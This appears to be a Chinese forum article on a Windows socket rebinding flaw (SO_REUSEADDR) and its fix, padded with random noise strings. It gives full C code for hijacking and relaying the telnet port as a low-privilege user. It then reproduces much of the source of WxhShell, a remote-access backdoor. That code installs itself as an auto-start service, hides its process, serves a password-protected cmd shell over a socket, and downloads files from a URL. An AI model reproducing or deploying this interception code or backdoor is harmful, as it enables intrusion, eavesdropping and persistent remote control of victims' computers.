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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: k|lcc^[0 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); znaUB v_ *22nVKi{ saddr.sin_family = AF_INET; hR
Ue<0o: [5+}rwm&W saddr.sin_addr.s_addr = htonl(INADDR_ANY); QUQu^p F=a<~EpZ bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); }A7j/uy}s iTAx=SG 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
sSi6wO$ Ft;^g3N 这意味着什么?意味着可以进行如下的攻击: f'VX Y- i-6F:\; 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 qCqFy#Ms\ |(q9" 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 0^RXGN zBk'{[y9L 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 %Cv D-![0 h9Y%{v 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 HLZ;8/|48m kT'u1q$3Vo 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 <\pfIJr$ */|9= $54 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 I|
b2acW m|:_]/*qE 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 j&Wl0 4*cU< #include :X]itTrGs #include kMt 8/ E` #include bj"J' #include :kf`?u DWORD WINAPI ClientThread(LPVOID lpParam); `R=HKtr? int main() |]ZYa.+: { XAe%m^ WORD wVersionRequested; kZerKP DWORD ret; w$`5g WSADATA wsaData; e^[H[d.WMC BOOL val; }t%!9hr5D SOCKADDR_IN saddr; 26k LhFS SOCKADDR_IN scaddr; _oUHJ~&, int err; V` 1/SQX SOCKET s; q11>f SOCKET sc; tGl;@V@Qj int caddsize; 3
"Q=Vl" HANDLE mt; [>1OJY.S}T DWORD tid; 2U:H545]] wVersionRequested = MAKEWORD( 2, 2 ); p-/|mL err = WSAStartup( wVersionRequested, &wsaData ); Y5FbU if ( err != 0 ) { qh2ON>e; printf("error!WSAStartup failed!\n"); \u>"s return -1; :E@3Vl#U } Bxfc}vC. saddr.sin_family = AF_INET; %ve:hym* :9_L6 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 |Clut~G f'aVV! saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); D*F4it. saddr.sin_port = htons(23); D6Goa(!9d if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) eQD)$d_5 { Y>E zTV printf("error!socket failed!\n"); -!N&OZ+R
return -1; 0Emr<n } q"<ac qK val = TRUE; (Xq)p y9 //SO_REUSEADDR选项就是可以实现端口重绑定的 )Ib<F7v if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) *i- _6s { r;Gi+Ca5 printf("error!setsockopt failed!\n"); 7qg{v9|, return -1; ]jaQ[g$F } P3nb2. //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; q&/Yg,p\ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 NNE<L;u //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 V%YiAr> zOqn<Y@ if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) n1&% e6XhO { S<WdZ=8sA ret=GetLastError(); SOi*SwQ8 printf("error!bind failed!\n"); oNU0 qZ5 return -1; tdSfi<y5I } Ar:*oiU listen(s,2); jp"JafS/E while(1) L?Qg#YSd~ { (
|PAx( caddsize = sizeof(scaddr); \CXQo4P //接受连接请求 :I:!BXQT$ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 4x;/HEb7? if(sc!=INVALID_SOCKET) HaYE9/xS { 2#<xAR mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); %d>=+Ds[ if(mt==NULL) a(9L,v#? { A%D7bQ printf("Thread Creat Failed!\n"); l*kPOyB break; Zuw?58RE\ } AQ+]|XYo_ } _-9@qe CloseHandle(mt); ?}RSwl
} 6C]1Q.f; closesocket(s); u9}1)9 WSACleanup(); B]Y}Hu return 0; NyVnA } D!.+Y-+Xzu DWORD WINAPI ClientThread(LPVOID lpParam) LF~*^n> { ld^=#]g SOCKET ss = (SOCKET)lpParam; +AHUp) SOCKET sc; 8ZKo_I\
unsigned char buf[4096]; ~d%Pnw| SOCKADDR_IN saddr; sm\f0P!rv long num; Wo7F DWORD val; "ajjJ"x A DWORD ret; -|Y(V5] //如果是隐藏端口应用的话,可以在此处加一些判断 *r=:y{!Y d //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 EvWzq%z
l saddr.sin_family = AF_INET; VA9Gb9 saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 0\:(ageY? saddr.sin_port = htons(23); |R56ho5C if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) g-e#!( { 2A\,-*pc printf("error!socket failed!\n"); :k3Nt5t! return -1; E[*Fz1> } ]6{*^4kX val = 100; fuA&7gNC if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 2con[!U { ObE,$_ k ret = GetLastError(); un=2}@ ' return -1; >9f%@uSM$3 } EloMe~a3 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) V
hk_ { Vg>( Y, ret = GetLastError(); #Ap;_XcKw return -1; K"0PTWt } q-`RI*1] if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) |<Gl91 { wo3wtx printf("error!socket connect failed!\n"); *0}3t<5 closesocket(sc); ;?6No(/ closesocket(ss); 2l
F>1vH return -1; 0q*r } 4<?8M vF while(1) 3 HIz9F( { }#qGqY*@LK //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 &E40*
(C //如果是嗅探内容的话,可以再此处进行内容分析和记录 N,f4*PQ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 gi-Yqco num = recv(ss,buf,4096,0); v0kqu if(num>0) A)~X, send(sc,buf,num,0); ^<:sdv>Y5 else if(num==0) XgxX.`H7 break; H> '>3]G num = recv(sc,buf,4096,0); +E; 2d-x*p if(num>0) DwV4o^J:l send(ss,buf,num,0); eXkujjSw" else if(num==0) h8X g`C\ break; #CnHf } +MB!B9M@ closesocket(ss); T /mI[*1xI closesocket(sc); [J
C: return 0 ; 7]BW[~77 } /% I7Vc o d7]tOK9 R.s^o]vT ========================================================== ~-#yOu
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`/f 下边附上一个代码,,WXhSHELL AWjm~D-? 6SC,;p= ========================================================== -@F fU2 3-%Cw2ds #include "stdafx.h" {0@&OO:w ooj~&fu #include <stdio.h> bC^(U`y 32 #include <string.h> :qvI%1cP= #include <windows.h> z**hD2R! #include <winsock2.h> e2+BWKaU #include <winsvc.h> YxGcFjJ #include <urlmon.h> #"ftI7=42 ]=EM@ #pragma comment (lib, "Ws2_32.lib") Z/6qG0feJ #pragma comment (lib, "urlmon.lib") ;oNhEB:F ;+I/ I9~ #define MAX_USER 100 // 最大客户端连接数 QI!F6pGF #define BUF_SOCK 200 // sock buffer n q19Q) #define KEY_BUFF 255 // 输入 buffer ,zQOZ'^ ZL<
MC~ #define REBOOT 0 // 重启 fRvAKz|rL #define SHUTDOWN 1 // 关机 >|o_wO 2`a
q**} #define DEF_PORT 5000 // 监听端口 fIocq mF09U(ci #define REG_LEN 16 // 注册表键长度 QR>
Y%4 ;h #define SVC_LEN 80 // NT服务名长度 o:Zd1"Z 9]>iSG^H // 从dll定义API rxO2js typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); vU*x2fVb} typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 70B)|<$ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); )ZejQ}$ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); .5Q:Xp [`Cq\mI-W // wxhshell配置信息 3_`szl- struct WSCFG { [WB{T3j int ws_port; // 监听端口 S)A'Y]2X char ws_passstr[REG_LEN]; // 口令 t/Z:)4Z int ws_autoins; // 安装标记, 1=yes 0=no E4D (,s char ws_regname[REG_LEN]; // 注册表键名 &kQ!KA28 char ws_svcname[REG_LEN]; // 服务名 \;]kYO} char ws_svcdisp[SVC_LEN]; // 服务显示名 y_}SK6{
char ws_svcdesc[SVC_LEN]; // 服务描述信息 ]]cYLaq( char ws_passmsg[SVC_LEN]; // 密码输入提示信息 @("}]/O
V: int ws_downexe; // 下载执行标记, 1=yes 0=no R:aYL~ char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" P|^$kK char ws_filenam[SVC_LEN]; // 下载后保存的文件名 fj4^VXD n~Szf }; ACjf\4Q GIv){[i // default Wxhshell configuration K`nJVc struct WSCFG wscfg={DEF_PORT, nSY-?&l6P "xuhuanlingzhe", ~E=\t9r 1, kA7(CqUW "Wxhshell", ]=D5p_A( "Wxhshell", {6x PdUhw "WxhShell Service", m&R"2t_Z "Wrsky Windows CmdShell Service", );
6,H.v "Please Input Your Password: ", j5%qv(w 1, @ERu>nSP " http://www.wrsky.com/wxhshell.exe", )Hf~d=GG "Wxhshell.exe" >WM3| }; .}9FEn 8 ~2/{3m{3 A // 消息定义模块 Y5-kj,CB char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; sIm#_+Y char *msg_ws_prompt="\n\r? for help\n\r#>"; I}v]Zm9 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; HPa|uDVv char *msg_ws_ext="\n\rExit."; 9DEh*%q char *msg_ws_end="\n\rQuit."; jxy1 char *msg_ws_boot="\n\rReboot..."; 3ViM ?p char *msg_ws_poff="\n\rShutdown..."; 5#_tE<uM char *msg_ws_down="\n\rSave to "; k|O,1 H2Eb\v`# char *msg_ws_err="\n\rErr!"; gKL1c{BV char *msg_ws_ok="\n\rOK!"; P Tnac +zRh
fIJHH char ExeFile[MAX_PATH]; %{STz int nUser = 0; C=VIT*= HANDLE handles[MAX_USER]; 00M`%c/ int OsIsNt; p\U*;'hv DMkhbo&+ SERVICE_STATUS serviceStatus; ?En7_X{C? SERVICE_STATUS_HANDLE hServiceStatusHandle; F@hYA z/1hqxHl // 函数声明 B4O6>' int Install(void); "E>t,
D int Uninstall(void); p,n\__ int DownloadFile(char *sURL, SOCKET wsh); |5xz l int Boot(int flag); )o8g=7Jm void HideProc(void); ">6&+^BN' int GetOsVer(void); *?8RXer int Wxhshell(SOCKET wsl); )&.!3y 660 void TalkWithClient(void *cs); abZdGnc int CmdShell(SOCKET sock); (5;D7zdA int StartFromService(void); /R%^rz'w int StartWxhshell(LPSTR lpCmdLine); fr#Qz{ yL"i
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); #'>?:k VOID WINAPI NTServiceHandler( DWORD fdwControl ); S!7g) pN$;! // 数据结构和表定义 \$;~74} SERVICE_TABLE_ENTRY DispatchTable[] = Z5>V{o { j,t~ {wscfg.ws_svcname, NTServiceMain}, e d;"bb {NULL, NULL} L#j|2H| }; 6;JP76PD \|Qb[{<:, // 自我安装 p^8JLC int Install(void) ]
C,1%( { 6wpU6NU char svExeFile[MAX_PATH]; b}%g}L D HKEY key; 0 [i+ strcpy(svExeFile,ExeFile);
5T/J% dYyW]nZ& // 如果是win9x系统,修改注册表设为自启动 99KVtgPm if(!OsIsNt) { [EGx if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { l<2oklo5 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); aFG3tuaKrQ RegCloseKey(key); gPUo25@pn* if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ea4
* o RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |yAK@Hl' RegCloseKey(key); 9-G b"hr return 0; aQmfrx } u&SZlkf6% } hwDXm9 } p!GZCf, else { MOyT< $ 6To:T[ z# // 如果是NT以上系统,安装为系统服务 -gSj>b7T SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); q5?L1 if (schSCManager!=0) 966<I56+ { JmjxGcG SC_HANDLE schService = CreateService \ 522,n` ( O!];_q/ schSCManager, ss;
5C:*y wscfg.ws_svcname, P/`m3aSzX. wscfg.ws_svcdisp, "!a`ygqpT SERVICE_ALL_ACCESS, +@>:%yX SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Tc,$TCF SERVICE_AUTO_START, }3sN+4 SERVICE_ERROR_NORMAL, gV.f*E1C svExeFile, 3"vRK5Bf NULL, SW;HjQ>V NULL, !3HsI|$<G NULL, 7(@(Hm NULL, &<=e_0zT NULL `A"Q3sf% ); A:c]1 if (schService!=0) ixzTJ]y u { ;ct)H*
y CloseServiceHandle(schService); QmHwn)Ly CloseServiceHandle(schSCManager);
7&px+155 strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Q!x`M4 strcat(svExeFile,wscfg.ws_svcname); tO4):i1 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { T\cR2ZT~ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); j Ii[ RegCloseKey(key); vu ?3$ return 0; U,38qKE } a6qwL4 } .}~$1QKS CloseServiceHandle(schSCManager); vQy$[D* } 08O7F } 3/l\ <{ u6p5:oJj, return 1; ,,}sK } ,wlbIl~ 1wbTqc // 自我卸载 ($:y\,5(9I int Uninstall(void) 0IpST { WT?b Bf HKEY key; DH/L`$ HlF} if(!OsIsNt) { UE{,.s if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { bk0Y RegDeleteValue(key,wscfg.ws_regname); IyT?-R RegCloseKey(key); $^K]&Mft if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { p6 <}3m$ RegDeleteValue(key,wscfg.ws_regname); M`bL5J; RegCloseKey(key); L=,Y1nO:p return 0; &:q[-K@! } '}T;b} &s } =tNzGaWJ } p;F2z;# else { AX8gij >"O1`xdG SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); |&Au6 3 if (schSCManager!=0) ^IYJEqK { q`cEA<~S SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); .E#<fz if (schService!=0) ;hkro$ { zdqnL^wb if(DeleteService(schService)!=0) { {f&NStiB CloseServiceHandle(schService); 0Ux<16# CloseServiceHandle(schSCManager); 4uX,uEa return 0; 6mi$.'
qP } tnN'V CloseServiceHandle(schService); Tt`L(oF } H/pcXj CloseServiceHandle(schSCManager); 6hLNJ } )>?! xx_` } -`Da`ml z2.*#xTZn return 1; `(!W s\: } 'xQna+ %h R04.K! // 从指定url下载文件 c1PViko,> int DownloadFile(char *sURL, SOCKET wsh) XynU/Go, { Zo'/^S HRESULT hr; ;x,+*% char seps[]= "/"; )-)ss"\+Ju char *token; Fgskb"k/ char *file; g&q]@m char myURL[MAX_PATH]; Xm%iPrl D char myFILE[MAX_PATH]; 2ve
lH; V;H
d)v(j strcpy(myURL,sURL); _k6x=V;9g token=strtok(myURL,seps); DakLD~H; while(token!=NULL) i^/
eN { L7s>su|c( file=token; r>E\Cco token=strtok(NULL,seps); hx*HY%\P } `i=JjgG@ h -Tsi:%b GetCurrentDirectory(MAX_PATH,myFILE); aMBL1d7 strcat(myFILE, "\\"); j p! strcat(myFILE, file); qbEKp HnB send(wsh,myFILE,strlen(myFILE),0); Xg,0 /P~ send(wsh,"...",3,0); U?JiVxE^ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); sKe, if(hr==S_OK) ? 7/W> return 0; \C!%IR else G(:s-x ig6 return 1; -l\~p4U g[m3IJzq } -,FK{[h]ka $*YC7f // 系统电源模块 u)tHOV>& int Boot(int flag) N[0
xqQ { a3Z:C!|O' HANDLE hToken; mYiSR TOKEN_PRIVILEGES tkp; qUifw @ _{lx*dq if(OsIsNt) { Tld1P69( OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); I/mvQxp LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); !'Pk
jP tkp.PrivilegeCount = 1; VV?]U$ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Y0 @'za^y AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); "kcpA#uD| if(flag==REBOOT) { #.<*; rB if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 1P(%9 return 0; $7msL#E7 } XC*uz else { ?H y%ULk if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) '.]e._T return 0; ,DexJ1 } M4zX*&w.T } 44'=;/ else { ;[FW! if(flag==REBOOT) { 8FB\0LA!g if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) nw~/~eM5= return 0; ;%BhhmR)[ } zY]Bu-S3 else { CWE Ejl if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 6W)xj6<@ return 0; *eHA:
A_I } J
ZVr&KZN } U(rr vNt:t Ix*BI9E return 1; [LJ705t } f%bc64N( DkDw>Nx<rs // win9x进程隐藏模块 H @_eFlT t void HideProc(void) 4$0jz' { A Oby*c A8\U
CG HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); @`w' if ( hKernel != NULL ) B.]qrS| { 5u'TmLuKT pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); >&$ $(Bp ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); mgJShn8] FreeLibrary(hKernel); B0-4ZT } ."~7 \E> t Aivu %}_| return; w^ixMn~nLF } >{O[t2& l@,); w=_P // 获取操作系统版本 a"`g"ZRx int GetOsVer(void) ) 1lJ<g# { /W"Bf OSVERSIONINFO winfo; S% JNxT7' winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); &,W_#l{ GetVersionEx(&winfo); D}zOuB,S if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) gGtep*k return 1; Gl?P.BCW.& else k)H[XpM return 0; v+xgxQGYH } K!IF?iell OSSd;ueur$ // 客户端句柄模块 q`/amI0 int Wxhshell(SOCKET wsl) 1VhoJGH;C { IUh5r(d 68 SOCKET wsh; 5en
[)3E struct sockaddr_in client; E[ )7tr DWORD myID; j[$B\H >u BV while(nUser<MAX_USER)
|y{;|K { ~[d=s int nSize=sizeof(client); '+o:,6 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); y)?W-5zL if(wsh==INVALID_SOCKET) return 1; N&0uXrw O ,Pl7x%tK handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); p?dGZ2` [I if(handles[nUser]==0) naec"Kut closesocket(wsh); Ee t+ else MZUF! B
nUser++; pm'@2dT } QOkE\ro WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Z$OF|ZZQ E3CiZ4=5 return 0; AmT|%j&3 } H j5WJ{p. 4
|:Q1 // 关闭 socket Vu|Br void CloseIt(SOCKET wsh) -V;0_Nx7p { )8 "EI-/. closesocket(wsh); 68&6J's; nUser--; Pe+ 8~0o=R ExitThread(0); U /1[~429 } ;
McIxvj r85Xa'hh // 客户端请求句柄 ,?0-=o void TalkWithClient(void *cs) BNL8hK`D { L}e"nzTE6I <B]i80. SOCKET wsh=(SOCKET)cs; Dyouk+08x char pwd[SVC_LEN]; 1jUhG2y char cmd[KEY_BUFF]; rZ8Y=) e char chr[1]; (n":]8} int i,j; WuP([8 X/`#5<x while (nUser < MAX_USER) { :/yr(V{ 5UrXVdP if(wscfg.ws_passstr) { 5 `{|[J_[ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); an$]IN //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); APHtJoS //ZeroMemory(pwd,KEY_BUFF); +!L_E6pyXE i=0; g:.,}L while(i<SVC_LEN) { *O(/UVuD\ |
Q1ubS // 设置超时 ecY ^C3+S fd_set FdRead; @n~>j&Kp struct timeval TimeOut; 4i[v
ew FD_ZERO(&FdRead); &J6o$i FD_SET(wsh,&FdRead); RS||KA])J TimeOut.tv_sec=8; !OuTXa,IH TimeOut.tv_usec=0; s%L"
c int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); RAg|V:/M if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); VQNYQqu`[ ~`G;=ITo if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); K\^&_#MG pwd =chr[0]; /c_kj2& ]9 if(chr[0]==0xd || chr[0]==0xa) { <iXS0k pwd=0; b2}QoJ@` break; #czyr@ } -~<q,p"e i++; }QWTPRn } RKoP6LGw :{wsd$Qlj // 如果是非法用户,关闭 socket 0XQ".:+h if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); I9*BENkR } s_GK;; 8CnI%_Su send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); -KIVnV=&m send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); A<YZBR_ U2[3S\@ while(1) { (jo(bbpj 86^ZYh ZeroMemory(cmd,KEY_BUFF); mf*9^}l+Zn g6@N PQ // 自动支持客户端 telnet标准 +/@ZnE9s j=0; /SPAJHh while(j<KEY_BUFF) { (AM,4)lW, if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6wpND|cT cmd[j]=chr[0]; vHI"C % if(chr[0]==0xa || chr[0]==0xd) { < ;%q
cmd[j]=0; U7*VIRibv+ break; *0&i'0> } G7/?hky 0. j++; YzhN |!;!k }
cT>z AG$-U2ap // 下载文件 ltr;pc*) if(strstr(cmd,"http://")) { F"m}mf send(wsh,msg_ws_down,strlen(msg_ws_down),0); 3f:1D=f if(DownloadFile(cmd,wsh)) y1\^v_.^ send(wsh,msg_ws_err,strlen(msg_ws_err),0); hBfzU\*0H else B
GEJiLH send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c> U{,z } tZNad else { Yyo9{4v+p{ B yy-Cc switch(cmd[0]) { o.
V0iS] ,
R.+-X // 帮助 ,a]~hNR*X case '?': { g]iy-,e send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Y%CL@G60 break; 5>1Y="B } [BZ(p // 安装 T24#gF~ case 'i': { E?m#S if(Install()) ^zWO[$n}tP send(wsh,msg_ws_err,strlen(msg_ws_err),0); }%>$}4 , else /qkIoF2 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X,!OWz:[ break; sen{f^U } ~gi( 1<# // 卸载 L$TKO,T case 'r': { d"d)<f
if(Uninstall()) %\{?(baOA send(wsh,msg_ws_err,strlen(msg_ws_err),0); Eps\iykB else tFST.yT>zg send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bJ,=yB+0 break; 3 ?|; on } <0Egkz3s // 显示 wxhshell 所在路径 aji~brq case 'p': { :7DVc&0 char svExeFile[MAX_PATH]; SVs~, strcpy(svExeFile,"\n\r"); xwH|ryfs,Z strcat(svExeFile,ExeFile); Wse*gO send(wsh,svExeFile,strlen(svExeFile),0);
DT(Zv2 break; b1,T!xL } 7Yw\%}UL // 重启 !DX/^b case 'b': { $Z7|t send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 6m{$rBR if(Boot(REBOOT)) ux79"5qb send(wsh,msg_ws_err,strlen(msg_ws_err),0); dI0>m:RBz else { hA,rSq closesocket(wsh); XFf+efh ExitThread(0); iJaNP%N } %}]4Nsd e break; i8[Y{a* } -Ib+ /' // 关机 +SA<0l case 'd': { C"` 'Re5) send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); NK#"qK""k if(Boot(SHUTDOWN)) %]sEt{ send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]BQWA else { "MS`d+rf\ closesocket(wsh); l6DIsR ExitThread(0); xc]C#q } $:gSc&mx break; C(|T/rQ- } K9N0kBJ0< // 获取shell >->xhlL* case 's': { ;pNbKf: CmdShell(wsh); *sIG& closesocket(wsh); l[\,*C ExitThread(0); +uiH0iGS break; ,Qi|g'a } 6!Ji>h.Ak // 退出 :-WCW);N case 'x': { +i_f.Ipp send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); .6Lhy3x CloseIt(wsh); 59NWyi4i break; wZ3vF)2s } F']%q 0 // 离开 b;;Kxi:7$} case 'q': { &{4Mo,x send(wsh,msg_ws_end,strlen(msg_ws_end),0); D%Jc?6/I#3 closesocket(wsh); Pc;
14M WSACleanup(); ' /<b[ exit(1); RdVis|7o break; K#C56k q& } >Hzb0N!VJ } ![hhPYmV } bvu<IXX=2 K8 4cE // 提示信息 H6CGc0NS+ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); qH$rvD!] } : )"jh` } f`]E]5? mhkAI@)> return; +xdFkc } BaTOh'52 ^]!1 'xg // shell模块句柄 Yl~?MOk int CmdShell(SOCKET sock) 2c`=S5 { ?gMrcc/{ STARTUPINFO si; <9.7 gwzE ZeroMemory(&si,sizeof(si)); ,<j5i? si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; I;.E}k si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; )qP{X,Uf PROCESS_INFORMATION ProcessInfo; :!YJ3:\ char cmdline[]="cmd"; rbZ6V : CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); OO+#KyU return 0; v4a4*rBI" } .,K?\WZ ~0r.3KTl"Y // 自身启动模式 KY34 'Di int StartFromService(void) 7{6. { o-<_X&"a|5 typedef struct M "P { Y+`-~ 88 DWORD ExitStatus; 0i(?LI_S DWORD PebBaseAddress; x|i3e&D DWORD AffinityMask; Rf0\CEc DWORD BasePriority; JEF7hJz~ ULONG UniqueProcessId; YM*6W? ULONG InheritedFromUniqueProcessId; '2J6%Gg } PROCESS_BASIC_INFORMATION; QV7c9)<]'} R$&&kmJ PROCNTQSIP NtQueryInformationProcess; |laKntv 2 MkGq%AE`Y static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; V42*4hskL static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 3$y L+%i @ ZPTf>J} HANDLE hProcess; k^\&.63( PROCESS_BASIC_INFORMATION pbi; 3udIe$.Q ?BvI/H5d HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); j!o3g;j if(NULL == hInst ) return 0; "LIii1]k 0THAI g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ~#km0<r? g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); $$f$$ NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); (U(x[Df) r<"/P`r 